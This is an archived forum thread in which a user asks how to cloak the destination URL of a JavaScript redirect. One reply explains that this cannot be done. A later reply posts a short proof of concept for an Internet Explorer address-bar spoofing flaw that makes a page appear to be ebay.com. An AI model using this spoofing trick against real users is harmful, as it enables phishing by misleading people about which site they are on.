By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
437,605 Members | 2,137 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 437,605 IT Pros & Developers. It's quick & easy.

URL redirecting script - with cloaking?

P: n/a
<script language="JavaScript">
if (parent.frames.length==0) {
location.href = ""
}
</script

I use the above script to redirect websites but is there any script
that can hide the new url? or do I have to pay redirection.net?
Jul 20 '05 #1
Share this Question
Share on Google+
2 Replies


P: n/a
Nymphetamine wrote:
I use the above script to redirect websites but is there any script
that can hide the new url? or do I have to pay redirection.net?


There is no way to prevent the user finding out the real URI of a resource.
The browser have to know what it is before it can get it, and anything the
browser can know, the user can know.

Frames can cover up the address bar for the real URI, but they are easily
bypassed and unfriendly to search engines, bookmarkers, link sharers, etc.

--
David Dorward <http://dorward.me.uk/>
Jul 20 '05 #2

P: n/a
David Dorward wrote:
Nymphetamine wrote:
I use the above script to redirect websites but is there any script
that can hide the new url? or do I have to pay redirection.net?


There is no way to prevent the user finding out the real URI of a resource.
The browser have to know what it is before it can get it, and anything the
browser can know, the user can know.

Frames can cover up the address bar for the real URI, but they are easily
bypassed and unfriendly to search engines, bookmarkers, link sharers, etc.

--
David Dorward <http://dorward.me.uk/>


You're right of course, eventually the user can determine the URL of where they
really are, if they are savvy enough. However, sometimes it isn't as obvious as
it would first appear. Take the following code and save it on your server as
"ietrick.html", then load the page in any new, fully patched version of
Internet Explorer and click the Test link. Then look in the Address bar.

<body onload="alert(window.location.href);">
<a href="#"
onclick="
window.location.href =
unescape('http://www.ebay.com%01@http://yourhost/ietrick.html');
return false;
">Test</a>

Yippie, yet another IE vulnerability.

--
| Grant Wagner <gw*****@agricoreunited.com>

* Client-side Javascript and Netscape 4 DOM Reference available at:
*
http://devedge.netscape.com/library/...ce/frames.html

* Internet Explorer DOM Reference available at:
*
http://msdn.microsoft.com/workshop/a...ence_entry.asp

* Netscape 6/7 DOM Reference available at:
* http://www.mozilla.org/docs/dom/domref/
* Tips for upgrading JavaScript for Netscape 7 / Mozilla
* http://www.mozilla.org/docs/web-deve...upgrade_2.html
Jul 20 '05 #3

This discussion thread is closed

Replies have been disabled for this discussion.